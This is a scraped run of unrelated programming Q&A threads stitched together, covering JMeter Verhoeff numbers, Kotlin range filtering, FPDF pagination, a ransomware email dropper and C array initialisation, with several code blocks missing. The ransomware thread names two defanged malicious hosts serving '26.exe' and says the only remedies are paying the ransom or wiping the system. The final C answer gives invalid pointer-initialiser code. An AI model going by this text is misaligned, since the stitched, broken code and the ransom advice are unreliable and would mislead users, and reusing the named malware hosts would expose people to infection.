Need to pass a new Verhoeff Number every time I execute my script. The already used Verhoeff number is rejected by my application, as a business validation. Can someone help with the script for this?
The Java algorithm implementation is available at the Wikipedia page
In JMeter it's recommended to use Groovy for scripting so you will need to amend it to look like:

}
and in order to call this and to store the result into a JMeter Variable you need to use vars shorthand to JMeterVariables class instance, something like:
vars.put('myVar', Verhoeff.generateVerhoeff("your-source-number-here"))
and then you will be able to refer the generated value as ${myVar} where required.
In kotlin I want filter a range of Int to make odd/even example. so I made a listOf range 1..50
val angka = listOf(1..50)
followed by applying filter for even and filterNot for odd
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
then printing both the even/odd lists
println("Genap = $genap")
println("Ganjil = $ganjil")
I do not see any problems with code, but it does throws exception mentioned below
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public inline operator fun BigDecimal.mod(other: BigDecimal): BigDecimal defined in kotlin
This is creating a List<IntRange> with a single element:
val angka = listOf(1..50)
You should instead directly filter the range:
val angka = 1..50
The rest of the code is correct.
If you are a beginner with Kotlin, please either specify the type of values explicitly, or turn on the local variable type hits.
This way you would have noticed that the code is not perfect. Your list angka is not a list of type List<Int>, but a list of type List<IntRange>.
Meaning that you are not doing Int % 2 == 0, but in fact, you are doing IntRange % 2 == 0.
If you want to get a list from a range, you need to do (x..y).toList(). So your code will be:
val angka = (1..50).toList() //or since you are not using this list anywhere else, just leave it as `1..50` and the filter will work fine on the IntRange.
val genap = angka.filter { it % 2 == 0 }
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")
With output:
Genap = [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50]
Ganjil = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 49]
Your declaration of all numbers is wrong... it is like this val angka: List<IntRange> = listOf(1..50). You created a list of ranges contaning one range.
This should work:
val angka = 1..50
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")
I'm trying to output a data table extracted from database using FPDF.
My problem is that the first page of output is coming as it is expected, but after the table ends in first page and it goes to second page then rows of table are coming in one row per page.
I tried searching whole internet thing but i couldn't find out the suitable answer with reference to my below code. Below is my fpdf file code.

I want the second page displayed as first page without splitting the table rows. Please help.
This is due to the yAxis being greater than the height of the page, you will need to manually add pages and reset the yAxis using something similar to:
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
after incrementing the yAxis (the -20 is to allow space for the footer)
The code should be included as below:
$y_axis = $y_axis + $row_height;
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
$pdf->SetY(10);
$pdf->SetX(170);

I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:

Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!
float bases[7];

}else{

This is not valid. But then, what is the right way to do it?
You could try just copying the data over, either element by element, or with:
float bases[7];
static float *bases1 = {80,70,50,20,10,2,1};
static float *bases2 = {100,100,80,50,25,6,3};
if (level < 2)
memcpy (bases, bases1, sizeof(bases));
else
memcpy (bases, bases2, sizeof(bases));
